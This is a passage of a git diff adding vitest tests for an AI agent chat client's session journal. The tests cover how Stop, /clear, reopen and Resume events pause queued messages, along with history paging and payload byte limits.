[string, string | null][] { - const pauses = pausesOver(cards, stopped, opened) - return cards.map((each) => [each.messageId, queuePauseHolding(pauses, each)?.reason ?? null]) - } - - it('a Stop holds a card with no recorded position, and one queued before a rewind', () => { - const cards = [ - card('unrecorded', 5, { queuedAt: null }), - // Epoch precedence outranks raw sequence values. - card('before-rewind', 5, { queuedAt: { epoch: 'epoch-0', sequence: 9 } }), - card('after', 5) - ] - expect(holding(cards)).toEqual([ - ['unrecorded', 'stopped'], - ['before-rewind', 'stopped'], - ['after', null] - ]) - }) - - it("a Stop that holds nothing never hides a reopen's: a card from before the open waits", () => { - const after = card('after', 5) - expect(pausesOver([after], 5, 6).map((pause) => pause.reason)).toEqual([ - 'stopped', - 'restarted' - ]) - expect(holding([after], 5, 6)).toEqual([['after', 'restarted']]) - expect(nextSendableQueuedCard(pausesOver([after], 5, 6), [after])).toBeNull() - expect(nextSendableQueuedCard(pausesOver([after]), [after])).toBe(after) - }) - - it("a card names the first pause holding it, and the header names the first held card's", () => { - const cards = [card('before', 3), card('after', 5)] - expect(holding(cards, 5, 6)).toEqual([ - ['before', 'stopped'], - ['after', 'restarted'] - ]) - expect(resumableQueuePause(pausesOver(cards, 5, 6), cards)?.reason).toBe('stopped') - }) - - it('a card from before the open waits in order, and so do the cards behind it', () => { - const cards = [card('kept', 1), card('behind', 2)] - expect(holding(cards, 0, 4)).toEqual([ - ['kept', 'restarted'], - ['behind', 'restarted'] - ]) - expect(nextSendableQueuedCard(pausesOver(cards, 0, 4), cards)).toBeNull() - }) - - it('a card held on its own from before the open starts no reopen pause', () => { - const cards = [card('held', 1, { holdReason: 'send_failed' }), card('live', 5)] - expect(pausesOver(cards, 0, 4)).toEqual([]) - expect(nextSendableQueuedCard(pausesOver(cards, 0, 4), cards)?.messageId).toBe('live') - }) - - it("a /clear's pause that holds nothing never hides a reopen's", () => { - const cards = [card('cleared', 1, { holdReason: 'send_failed' }), card('typed', 2)] - const pauses = pausesOver(cards, 0, 4, ['cleared']) - expect(pauses.map((pause) => pause.reason)).toEqual(['cleared', 'restarted']) - expect( - cards.map((each) => [each.messageId, queuePauseHolding(pauses, each)?.reason ?? null]) - ).toEqual([ - ['cleared', null], - ['typed', 'restarted'] - ]) - expect(nextSendableQueuedCard(pauses, cards)).toBeNull() - }) - }) + const fixture = createFixture() + registerQueuedMessageStopPauseTests(fixture) + registerQueuedMessageReopenPauseTests(fixture) + registerQueuedMessagePauseHeldCardsTests() } diff --git a/src/main/native-chat/agent-session-journal/queued-message-reopen-pause.spec.ts b/src/main/native-chat/agent-session-journal/queued-message-reopen-pause.spec.ts new file mode 100644 index 00000000000..d9cca6b2e25 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/queued-message-reopen-pause.spec.ts @@ -0,0 +1,243 @@ +import type { createFixture } from './queued-message-pause-contract-test-fixture' +import { describe, expect, it, vi } from 'vitest' +import Database from '../../sqlite/sync-database' +import { journalDatabasePath } from './journal-host-database' +import { QueuedMessageNotConsumableError } from './queued-message-consume-error' +import type { AgentSessionJournal } from './journal-store' +import { agentSessionFailureFact } from '../../../shared/agent-session-failure' +import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' + +export function registerQueuedMessageReopenPauseTests( + fixture: ReturnType +): void { + describe('which cards a pause holds', () => { + it('only cards queued before the Stop event: one queued after it is a new instruction', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'before') + await fixture.userStop(journal) + await fixture.queueDraft(journal, 'after') + expect(fixture.held(journal)).toEqual([ + ['before', true], + ['after', false] + ]) + await journal.close() + journal = await fixture.open() + expect(fixture.held(journal)).toEqual([ + ['before', true], + ['after', false] + ]) + }) + + it('a steer the Stop withdrew comes back in its own place, and is held', async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'steered') + await journal.appendSubmission( + { + clientMessageId: 'send-now-1', + payloadFingerprint: fixture.fingerprintOf('steered'), + body: fixture.message('steered'), + fence: 0, + handoverRecorded: true + }, + { messageId: 'steered', expect: 'waiting' } + ) + await fixture.userStop(journal) + await fixture.queueDraft(journal, 'after') + await journal.resolveDispatch({ + clientMessageId: 'send-now-1', + state: 'rejected', + ...agentSessionFailureWords(agentSessionFailureFact('cancelled'), { surface: 'rejection' }), + fence: 0 + }) + expect(fixture.held(journal)).toEqual([ + ['steered', true], + ['after', false] + ]) + }) + + it("the queue's own consume refuses a newer card while an older one is held: nothing overtakes", async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'held') + await fixture.userStop(journal) + await fixture.queueDraft(journal, 'newer') + await expect( + journal.appendSubmission( + { + clientMessageId: 'drain-newer', + payloadFingerprint: fixture.fingerprintOf('newer'), + body: fixture.message('newer'), + fence: 0, + handoverRecorded: true + }, + { + messageId: 'newer', + expect: 'waiting', + yieldsToPause: true + } + ) + ).rejects.toBeInstanceOf(QueuedMessageNotConsumableError) + expect(journal.queuedMessages.get('newer')?.state).toBe('waiting') + }) + + it("'cleared' holds the cards already queued, not one typed after it", async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'carried-1') + await fixture.queueDraft(journal, 'carried-2') + await fixture.clearContext(journal) + await fixture.queueDraft(journal, 'typed-here') + expect(fixture.held(journal)).toEqual([ + ['carried-1', true], + ['carried-2', true], + ['typed-here', false] + ]) + }) + }) + + describe("a reopen's pause", () => { + /** Reopen as a new handle; failMark injects a reopen-mark write failure. */ + async function reopen( + journal: AgentSessionJournal, + failMark = false + ): Promise { + await journal.close() + const reopened = await fixture.open() + if (failMark) { + vi.spyOn(reopened, 'appendQueueReopen').mockRejectedValueOnce(new Error('disk full')) + await expect(reopened.markQueueReopen(0)).rejects.toThrow('disk full') + } else { + await reopened.markQueueReopen(0) + } + return reopened + } + + it('holds the cards queued before the reopen, never one queued after its mark', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'before') + expect(fixture.reason(journal)).toBeNull() + journal = await reopen(journal) + await fixture.queueDraft(journal, 'after') + expect(fixture.held(journal)).toEqual([ + ['before', true], + ['after', false] + ]) + expect(fixture.reason(journal)).toBe('restarted') + }) + + it.each([ + ['an accepted turn', (journal: AgentSessionJournal) => fixture.turn(journal, 'carry-on')], + ['a Resume', (journal: AgentSessionJournal) => journal.appendQueueResume(0)] + ])('%s after the reopen lifts it', async (_name, lift) => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'before') + journal = await reopen(journal) + await lift(journal) + expect(fixture.reason(journal)).toBeNull() + }) + + it('a turn the agent has not accepted yet lifts nothing', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'before') + journal = await reopen(journal) + await fixture.turn(journal, 'carry-on', false) + expect(fixture.reason(journal)).toBe('restarted') + }) + + it('marks a reopen whose only card is mid-hand-off, and holds it once it comes back', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'in-flight') + await journal.appendSubmission( + { + clientMessageId: 'drain-1', + payloadFingerprint: fixture.fingerprintOf('in-flight'), + body: fixture.message('in-flight'), + fence: 0, + handoverRecorded: true + }, + { messageId: 'in-flight', expect: 'waiting' } + ) + journal = await reopen(journal) + await journal.resolveDispatch({ + clientMessageId: 'drain-1', + state: 'rejected', + ...agentSessionFailureWords(agentSessionFailureFact('notDelivered'), { + surface: 'rejection' + }), + fence: 0 + }) + expect(fixture.held(journal)).toEqual([['in-flight', true]]) + }) + + it('a mark written late starts where the chat stopped, and narrows no earlier mark', async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'kept') + const stopped = journal.cursor().sequence + 1 + await fixture.turn(journal, 'later') + await journal.markQueueReopen(0, stopped) + expect(fixture.reason(journal)).toBeNull() + + const reopened = await reopen(journal) + expect(fixture.reason(reopened)).toBe('restarted') + await reopened.markQueueReopen(0, stopped) + expect(fixture.reason(reopened)).toBe('restarted') + }) + + it('a reopen with no waiting card writes nothing', async () => { + let journal = await fixture.open() + await fixture.turn(journal, 'earlier') + const before = journal.cursor() + journal = await reopen(journal) + expect(journal.cursor()).toEqual(before) + await fixture.queueDraft(journal, 'after') + expect(fixture.held(journal)).toEqual([['after', false]]) + }) + + it('a second reopen before any turn still holds them; one after a turn holds them again', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'before') + journal = await reopen(journal) + journal = await reopen(journal) + expect(fixture.reason(journal)).toBe('restarted') + await fixture.turn(journal, 'carry-on') + expect(fixture.reason(journal)).toBeNull() + journal = await reopen(journal) + expect(fixture.reason(journal)).toBe('restarted') + }) + + it('without a mark the open itself is where the pause begins', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'before') + journal = await reopen(journal, true) + expect(fixture.held(journal)).toEqual([['before', true]]) + await fixture.turn(journal, 'carry-on') + expect(fixture.reason(journal)).toBeNull() + }) + + it("reads an earlier build's stored 'kept' and 'stopped' holds as none; send_failed stays", async () => { + let journal = await fixture.open() + const db = new Database(journalDatabasePath(fixture.root)) + for (const [position, id, stored] of [ + [1, 'was-kept', 'kept'], + [2, 'was-stopped', 'stopped'], + [3, 'failed', 'send_failed'] + ] as const) { + db.prepare( + `INSERT INTO queued_messages (session_id, message_id, position, body_json, fingerprint, + created_at, host_instance, state, hold_reason) + VALUES (?, ?, ?, ?, '', 0, 'earlier', 'waiting', ?)` + ).run(fixture.IDENTITY.sessionId, id, position, JSON.stringify(fixture.message(id)), stored) + } + db.close() + journal = await reopen(journal) + expect(journal.queuedMessages.list().map((row) => [row.messageId, row.holdReason])).toEqual([ + ['was-kept', null], + ['was-stopped', null], + ['failed', 'send_failed'] + ]) + expect(fixture.held(journal)).toEqual([ + ['was-kept', true], + ['was-stopped', true], + ['failed', false] + ]) + }) + }) +} diff --git a/src/main/native-chat/agent-session-journal/queued-message-stop-pause.spec.ts b/src/main/native-chat/agent-session-journal/queued-message-stop-pause.spec.ts new file mode 100644 index 00000000000..82a13e35ff2 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/queued-message-stop-pause.spec.ts @@ -0,0 +1,246 @@ +import type { createFixture } from './queued-message-pause-contract-test-fixture' +import { describe, expect, it } from 'vitest' +import Database from '../../sqlite/sync-database' +import { journalDatabasePath } from './journal-host-database' +import { liveTestJournalRows } from './journal-host-database-test-support' +import { QueuedMessageNotConsumableError } from './queued-message-consume-error' +import { applyJournalRow, createJournalReducerState } from './journal-reducer' +import { parseJournalRow } from './journal-row-schema' +import type { AgentSessionJournal } from './journal-store' + +export function registerQueuedMessageStopPauseTests( + fixture: ReturnType +): void { + describe("the queue's pause, derived from the journal", () => { + it("a person's Stop event pauses the queue, even with no card yet, survives reopen, and stores nothing", async () => { + let journal = await fixture.open() + await fixture.userStop(journal) + expect(fixture.reason(journal)).toBe('stopped') + await fixture.queueDraft(journal, 'draft-1') + await journal.close() + journal = await fixture.open() + expect(fixture.reason(journal)).toBe('stopped') + expect(fixture.pauseTables()).toBe(0) + }) + + it("any turn sent after the Stop and accepted lifts it, Orca's own mail included", async () => { + const journal = await fixture.open() + await fixture.turn(journal, 'before-stop', false) + await fixture.userStop(journal) + // Late acceptance of a pre-Stop send cannot lift the pause. + await fixture.acceptTurn(journal, 'before-stop') + expect(fixture.reason(journal)).toBe('stopped') + await fixture.turn(journal, 'mail', false) + expect(fixture.reason(journal)).toBe('stopped') + await fixture.acceptTurn(journal, 'mail') + expect(fixture.reason(journal)).toBeNull() + }) + + it('a later Stop is the latest, and a Resume row lifts it', async () => { + const journal = await fixture.open() + await fixture.userStop(journal) + await fixture.turn(journal, 'typed') + expect(fixture.reason(journal)).toBeNull() + await fixture.userStop(journal) + expect(fixture.reason(journal)).toBe('stopped') + await journal.appendQueueResume(0) + expect(fixture.reason(journal)).toBeNull() + await fixture.userStop(journal) + expect(fixture.reason(journal)).toBe('stopped') + expect(fixture.pauseTables()).toBe(0) + }) + + it('a card kept by /clear stays paused until Resume in the same journal', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'carried') + await fixture.clearContext(journal) + expect(fixture.reason(journal)).toBe('cleared') + await journal.close() + journal = await fixture.open() + expect(fixture.reason(journal)).toBe('cleared') + await journal.appendQueueResume(0) + expect(fixture.reason(journal)).toBeNull() + expect(fixture.pauseTables()).toBe(0) + }) + + it('any accepted turn after /clear lifts its pause, a launch prompt Orca sent included', async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'carried') + await fixture.clearContext(journal) + await fixture.turn(journal, 'launch', false) + expect(fixture.reason(journal)).toBe('cleared') + await fixture.acceptTurn(journal, 'launch') + expect(fixture.reason(journal)).toBeNull() + }) + + it('rides a tombstone of an id no item takes, so an older build reads it and changes nothing', async () => { + const journal = await fixture.open() + await fixture.turn(journal, 'typed') + await journal.appendStopEvent( + { reason: 'user-stop', turnId: 'turn-1', caller: 'client-1' }, + 0 + ) + const db = new Database(journalDatabasePath(fixture.root), { readonly: true }) + const stored = liveTestJournalRows(db, fixture.IDENTITY.sessionId) + db.close() + const parsed = parseJournalRow(stored.at(-1)?.rowJson ?? '') + expect(parsed).toMatchObject({ + ok: true, + row: { + kind: 'tombstone', + stopEvent: { reason: 'user-stop', turnId: 'turn-1', caller: 'client-1' } + } + }) + if (!parsed.ok || parsed.row.kind !== 'tombstone') { + throw new Error('expected a tombstone row') + } + expect(parsed.row.stopEvent?.at).toBe(parsed.row.ts) + // Older readers ignore the annotation and remove a nonexistent item. + const { stopEvent: _ignored, ...asOlderBuildReadsIt } = parsed.row + const state = createJournalReducerState(fixture.IDENTITY.sessionId, parsed.row.epoch) + for (const row of stored.slice(0, -1)) { + const earlier = parseJournalRow(row.rowJson) + if (earlier.ok) { + applyJournalRow(state, earlier.row) + } + } + const items = [...state.items.keys()] + const submissions = [...state.submissions.keys()] + applyJournalRow(state, asOlderBuildReadsIt) + expect([...state.items.keys()]).toEqual(items) + expect([...state.submissions.keys()]).toEqual(submissions) + }) + + it('a Stop or Resume row holding a value no build writes is ignored on read, never trusted', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'held') + const corrupted = async ( + append: Promise<{ sequence: number }>, + key: string, + value: unknown + ) => { + const { sequence } = await append + await journal.close() + fixture.rewriteRows({ [sequence]: [key, value] }) + journal = await fixture.open() + } + const malformed = [null, 'stopped', { at: 1 }] + for (const value of malformed) { + await corrupted(fixture.userStop(journal), 'stopEvent', value) + expect(fixture.reason(journal)).toBeNull() + } + await fixture.userStop(journal) + for (const value of malformed) { + await corrupted(fixture.userStop(journal), 'stopEvent', value) + expect(fixture.reason(journal)).toBe('stopped') + } + await corrupted(journal.appendQueueResume(0), 'queueResume', 'yes') + expect(fixture.reason(journal)).toBe('stopped') + expect(fixture.held(journal)).toEqual([['held', true]]) + }) + + it("the queue's own consume is refused in its transaction while the pause holds the card; Send-now is not", async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'draft-1') + await fixture.userStop(journal) + const consume = (id: string, automatic: boolean) => + journal.appendSubmission( + { + clientMessageId: id, + payloadFingerprint: fixture.fingerprintOf('draft-1'), + body: fixture.message('draft-1'), + fence: 0, + handoverRecorded: true + }, + { + messageId: 'draft-1', + expect: 'waiting', + ...(automatic ? { yieldsToPause: true as const } : {}) + } + ) + await expect(consume('drain-1', true)).rejects.toBeInstanceOf(QueuedMessageNotConsumableError) + expect(journal.submission('drain-1')).toBeUndefined() + expect(journal.queuedMessages.get('draft-1')?.state).toBe('waiting') + await consume('send-now-1', false) + expect(journal.queuedMessages.get('draft-1')?.state).toBe('dispatched') + }) + + it("a rewind's epoch replacement restates a Stop still pausing, and not one a turn ended", async () => { + const journal = await fixture.open() + await fixture.userStop(journal) + await journal.replaceEpochItems('handle_forked', 0, []) + expect(fixture.reason(journal)).toBe('stopped') + await fixture.turn(journal, 'typed') + await journal.replaceEpochItems('handle_forked', 0, []) + expect(fixture.reason(journal)).toBeNull() + }) + + it("only a person's Stop pauses: a host's, a close's or an unknown reason holds nothing", async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'draft-1') + for (const reason of ['user-close', 'host-stop', 'evict'] as const) { + await journal.appendStopEvent({ reason }, 0) + } + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: deliberately outside the type, as a newer build could write it. + await journal.appendStopEvent({ reason: 'future-reason' as 'evict' }, 0) + expect(fixture.reason(journal)).toBeNull() + }) + + it("a later Stop of any reason ends a person's Stop, without pausing itself", async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'draft-1') + for (const later of ['host-stop', 'evict', 'user-close'] as const) { + await fixture.userStop(journal) + expect(fixture.held(journal)).toEqual([['draft-1', true]]) + await journal.appendStopEvent({ reason: later }, 0) + expect(fixture.reason(journal)).toBeNull() + expect(fixture.held(journal)).toEqual([['draft-1', false]]) + } + }) + + it("a person's Stop with no later Stop event is not lifted", async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'held') + await fixture.userStop(journal) + // Eviction rows must describe ended work or they would incorrectly lift this pause. + expect(fixture.reason(journal)).toBe('stopped') + expect(fixture.held(journal)).toEqual([['held', true]]) + }) + + it('the restated Stop is the same event: its reason, turn, caller and time', async () => { + const journal = await fixture.open() + await journal.appendStopEvent({ reason: 'user-stop', turnId: 'turn-7', caller: 'phone' }, 0) + const stopped = fixture.stopEvents() + await journal.replaceEpochItems('handle_forked', 0, []) + expect(fixture.stopEvents()).toEqual(stopped) + expect(stopped).toEqual([ + { reason: 'user-stop', turnId: 'turn-7', caller: 'phone', at: expect.any(Number) } + ]) + }) + + it.each([ + ['an accepted turn', (journal: AgentSessionJournal) => fixture.turn(journal, 'typed')], + ['a Resume', (journal: AgentSessionJournal) => journal.appendQueueResume(0)] + ])('a /clear pause %s already lifted stays lifted across a rewind', async (_name, lift) => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'carried') + await fixture.clearContext(journal) + await lift(journal) + expect(fixture.reason(journal)).toBeNull() + await journal.replaceEpochItems('handle_forked', 0, []) + expect(fixture.reason(journal)).toBeNull() + }) + + it('a lifted /clear pause and a later Stop are both restated, the Stop still in force', async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'carried') + await fixture.clearContext(journal) + await fixture.turn(journal, 'typed') + await fixture.userStop(journal) + await journal.replaceEpochItems('handle_forked', 0, []) + expect(journal.queuedMessages.pauses().map((pause) => pause.reason)).toEqual(['stopped']) + await journal.appendQueueResume(0) + expect(fixture.reason(journal)).toBeNull() + }) + }) +} diff --git a/src/main/native-chat/agent-session-journal/queued-message-stored-row.ts b/src/main/native-chat/agent-session-journal/queued-message-stored-row.ts index fc3b8ba378c..cefa7f7c1c0 100644 --- a/src/main/native-chat/agent-session-journal/queued-message-stored-row.ts +++ b/src/main/native-chat/agent-session-journal/queued-message-stored-row.ts @@ -6,6 +6,10 @@ import { readAgentJournalMessageBody } from '../../../shared/agent-session-journ import { readStoredRejectionFact } from './journal-dispatch-reducer' import type { QueuedMessageRow } from './queued-message-table' import { readAgentSessionExecutionOptions } from '../../../shared/agent-session-execution-options' +import { storedMessageBody } from './journal-storage-schema' +import { storageVerdict, strictStorage } from './journal-storage-strict' + +const strictBody = strictStorage(storedMessageBody) export const LEGACY_QUEUED_MESSAGE_COLUMNS = 'message_id, position, body_json, fingerprint, state, hold_reason, returned_reason, returned_rejection, consumed_as, queued_epoch, queued_sequence, options_json' @@ -34,8 +38,10 @@ export function readStoredQueuedMessageRow(row: unknown): QueuedMessageRow | nul return null } const state = record.state + // A body key this build does not declare stays on disk with the card, never adopted without it. if ( readAgentJournalMessageBody(body) !== 'readable' || + storageVerdict(strictBody, body) === 'newer' || (state !== 'waiting' && state !== 'dispatched' && state !== 'returned' && state !== 'withdrawn') ) { return null diff --git a/src/main/native-chat/agent-session-wire/agent-session-history-batches.test.ts b/src/main/native-chat/agent-session-wire/agent-session-history-batches.test.ts new file mode 100644 index 00000000000..6db2091ed53 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/agent-session-history-batches.test.ts @@ -0,0 +1,256 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { describe, expect, it } from 'vitest' +import { + agentJournalItemKey, + agentJournalSubmissionKey +} from '../../../shared/agent-session-journal-item-key' +import type { + AgentJournalItemIdentity, + AgentJournalMessageItem +} from '../../../shared/agent-session-journal-types' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { structuredAgentSessionPayloadFingerprint } from '../../../shared/structured-agent-session-mutation' +import { + closeTestJournalHostDatabase, + createTrackedJournalOpener +} from '../agent-session-journal/journal-host-database-test-support' +import { projectJournalBatch } from './agent-session-journal-batch' +import { readAgentSessionHistory } from './agent-session-history-page' + +import { + fixture, + IDENTITY, + appendItems, + body, + item, + tick +} from './agent-session-history-contract-test-fixture' + +const outcomeJournals = createTrackedJournalOpener() + +describe('projectJournalBatch', () => { + it('publishes every nested lifecycle mutation atomically at the outer cursor', async () => { + const turn: AgentJournalItemIdentity = { + provider: 'legacy', + agent: 'codex', + sessionId: 'session-1', + recordId: 'turn-lifecycle:turn-1' + } + await fixture.journal.appendItem( + turn, + { kind: 'status', text: 'working' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + const cursor = fixture.journal.cursor() + await fixture.journal.appendLifecycleBatch({ + settlementId: 'settlement-1', + fence: 1, + mutations: [ + { + kind: 'item', + identity: item(1), + body: body('one'), + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }, + { + kind: 'item', + identity: item(2), + body: body('two'), + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }, + { kind: 'tombstone', identity: turn } + ] + }) + + const page = readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'after', + cursor, + limit: 1 + }) + if (!page.ok) { + throw new Error(`expected a page, got reset ${page.reset}`) + } + expect(page.page.items.map((entry) => entry.body)).toEqual([body('one'), body('two')]) + expect(page.page.removedItemIds).toHaveLength(1) + expect(new Set(page.page.items.map((entry) => entry.sequence)).size).toBe(1) + + const tail = readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'tail', + limit: 1 + }) + if (!tail.ok) { + throw new Error(`expected a page, got reset ${tail.reset}`) + } + expect(tail.page.items.map((entry) => entry.body)).toEqual([body('one'), body('two')]) + }) + + it('accepts sparse outcome sequence groups', async () => { + // The shared fixture pins the input format; sparse groups exist only in an outcome epoch. + const root = await mkdtemp(join(tmpdir(), 'orca-history-outcomes-')) + const journal = await outcomeJournals.open({ + identity: IDENTITY, + stateDirectory: root, + now: tick + }) + try { + for (let ordinal = 1; ordinal <= 3; ordinal += 1) { + await journal.appendItem(item(ordinal), body(`item-${ordinal}`), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + } + const since = journal.readSince({ epoch: journal.epoch, sequence: 0 }) + if (!since.ok) { + throw new Error(`expected rows, got reset ${since.reset}`) + } + expect(since.rows.every((row) => row.kind === 'outcome')).toBe(true) + const withHole = since.rows.filter((row) => row.seq !== since.rows[1]?.seq) + expect( + projectJournalBatch({ rows: withHole, snapshot: journal.snapshot(), afterSequence: 0 }) + ).toMatchObject({ ok: true }) + } finally { + await journal.close() + await closeTestJournalHostDatabase(root) + await rm(root, { recursive: true, force: true }) + } + }) + + it('names touched card keys and deleted keys per outcome sequence; a Stop mark touches no item', async () => { + const root = await mkdtemp(join(tmpdir(), 'orca-history-outcome-keys-')) + const journal = await outcomeJournals.open({ + identity: IDENTITY, + stateDirectory: root, + now: tick + }) + try { + const queued: AgentJournalMessageItem = { + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text: 'queued' }] + } + await journal.queuedMessages.insert({ messageId: 'card-1', body: queued }) + await journal.appendItem(item(1), body('item-1'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + const cursor = journal.cursor() + await journal.queuedMessages.withdraw(['card-1']) + await journal.appendTombstone(item(1), { fence: 1 }) + await journal.appendStopEvent({ reason: 'user-stop' }, 1) + const since = journal.readSince(cursor) + if (!since.ok) { + throw new Error(`expected rows, got reset ${since.reset}`) + } + const none = { itemIds: [], submissionIds: [], queueCardIds: [] } + expect(since.rows).toEqual([ + expect.objectContaining({ kind: 'outcome', queueCardIds: ['card-1'], deleted: none }), + expect.objectContaining({ + kind: 'outcome', + itemIds: [agentJournalItemKey(item(1))], + deleted: { ...none, itemIds: [agentJournalItemKey(item(1))] } + }), + expect.objectContaining({ kind: 'outcome', itemIds: [], queueCardIds: [], deleted: none }) + ]) + } finally { + await journal.close() + await closeTestJournalHostDatabase(root) + await rm(root, { recursive: true, force: true }) + } + }) + + it('publishes touched items at their current reduced state, not as a delta', async () => { + await appendItems(1) + const cursor = fixture.journal.cursor() + await fixture.journal.appendItem(item(1), body('revised'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + const since = fixture.journal.readSince(cursor) + if (!since.ok) { + throw new Error(`expected rows, got reset ${since.reset}`) + } + const projected = projectJournalBatch({ + rows: since.rows, + snapshot: fixture.journal.snapshot(), + afterSequence: cursor.sequence + }) + if (!projected.ok) { + throw new Error(`expected a batch, got reset ${projected.reset}`) + } + expect(projected.batch.items).toHaveLength(1) + expect(projected.batch.items[0]).toMatchObject({ body: body('revised'), revision: 2 }) + expect(projected.batch.cursor).toEqual(fixture.journal.cursor()) + }) + + it('lists a tombstoned item as removed', async () => { + await appendItems(1) + const cursor = fixture.journal.cursor() + await fixture.journal.appendTombstone(item(1), { fence: 1 }) + const since = fixture.journal.readSince(cursor) + if (!since.ok) { + throw new Error(`expected rows, got reset ${since.reset}`) + } + const projected = projectJournalBatch({ + rows: since.rows, + snapshot: fixture.journal.snapshot(), + afterSequence: cursor.sequence + }) + if (!projected.ok) { + throw new Error(`expected a batch, got reset ${projected.reset}`) + } + expect(projected.batch.removedItemIds).toHaveLength(1) + expect(projected.batch.items).toHaveLength(0) + }) + + it('publishes a mismatched provider echo under its submission slot', async () => { + const message: AgentJournalMessageItem = { + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text: 'queued follow-up' }] + } + await fixture.journal.appendSubmission({ + clientMessageId: 'client-follow-up', + payloadFingerprint: structuredAgentSessionPayloadFingerprint({ + method: 'agentSession.send', + sessionId: IDENTITY.sessionId, + fields: { body: message } + }), + body: message, + fence: 1 + }) + const cursor = fixture.journal.cursor() + await fixture.journal.resolveDispatch({ + clientMessageId: 'client-follow-up', + state: 'accepted', + providerIdentity: { + provider: 'codex', + threadId: 'thread-1', + turnId: 'predicted', + ordinal: 0 + }, + fence: 1 + }) + await fixture.journal.appendItem( + { provider: 'codex', threadId: 'thread-1', turnId: 'root-turn', ordinal: 2 }, + message, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + + const page = readAgentSessionHistory(fixture.journal, { + sessionId: IDENTITY.sessionId, + direction: 'after', + cursor + }) + if (!page.ok) { + throw new Error(`expected a page, got reset ${page.reset}`) + } + expect(page.page.items).toMatchObject([ + { itemId: agentJournalSubmissionKey('client-follow-up'), revision: 1 } + ]) + expect(page.page.removedItemIds).toEqual([]) + }) +}) diff --git a/src/main/native-chat/agent-session-wire/agent-session-history-byte-limits.test.ts b/src/main/native-chat/agent-session-wire/agent-session-history-byte-limits.test.ts new file mode 100644 index 00000000000..b14576916ea --- /dev/null +++ b/src/main/native-chat/agent-session-wire/agent-session-history-byte-limits.test.ts @@ -0,0 +1,126 @@ +import { describe, expect, it } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { serializeRemoteRuntimePayload } from '../../../shared/remote-runtime/remote-runtime-memory-limits' +import { readAgentSessionHistory } from './agent-session-history-page' + +import { fixture, body, item } from './agent-session-history-contract-test-fixture' + +describe('history page byte ceiling', () => { + // Several legal messages exceed the 4 MiB outbound cap. + const LARGE_TEXT = 'x'.repeat(250 * 1024) + + async function appendLargeItems(count: number): Promise { + for (let ordinal = 1; ordinal <= count; ordinal += 1) { + await fixture.journal.appendItem(item(ordinal), body(`${ordinal}:${LARGE_TEXT}`), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + } + } + + function pageOf(result: ReturnType) { + if (!result.ok) { + throw new Error(`expected a page, got reset ${result.reset}`) + } + serializeRemoteRuntimePayload(result.page) + return result.page + } + + it('keeps a tail of legal large messages under the channel cap and still pages back to every item', async () => { + await appendLargeItems(20) + + const tail = pageOf( + readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'tail', + limit: 40 + }) + ) + expect(tail.items.length).toBeGreaterThan(0) + expect(tail.hasOlder).toBe(true) + + const seen = tail.items.map((entry) => entry.itemId) + let cursor = tail.window.nextCursor + let hasOlder = tail.hasOlder + let guard = 0 + while (hasOlder) { + guard += 1 + expect(guard).toBeLessThan(30) + const page = pageOf( + readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'before', + cursor, + limit: 40 + }) + ) + expect(page.items.length).toBeGreaterThan(0) + seen.push(...page.items.map((entry) => entry.itemId)) + cursor = page.window.nextCursor + hasOlder = page.hasOlder + } + expect(new Set(seen).size).toBe(20) + }) + + it('bounds a forward catch-up page by bytes and keeps replaying to the head', async () => { + const start = { epoch: fixture.journal.epoch, sequence: 0 } + await appendLargeItems(20) + + const first = pageOf( + readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'after', + cursor: start, + limit: 40 + }) + ) + expect(first.items.length).toBeGreaterThan(0) + expect(first.hasNewer).toBe(true) + + const seen = first.items.map((entry) => entry.itemId) + let cursor = first.window.nextCursor + let hasNewer = first.hasNewer + let guard = 0 + while (hasNewer) { + guard += 1 + expect(guard).toBeLessThan(30) + const page = pageOf( + readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'after', + cursor, + limit: 40 + }) + ) + 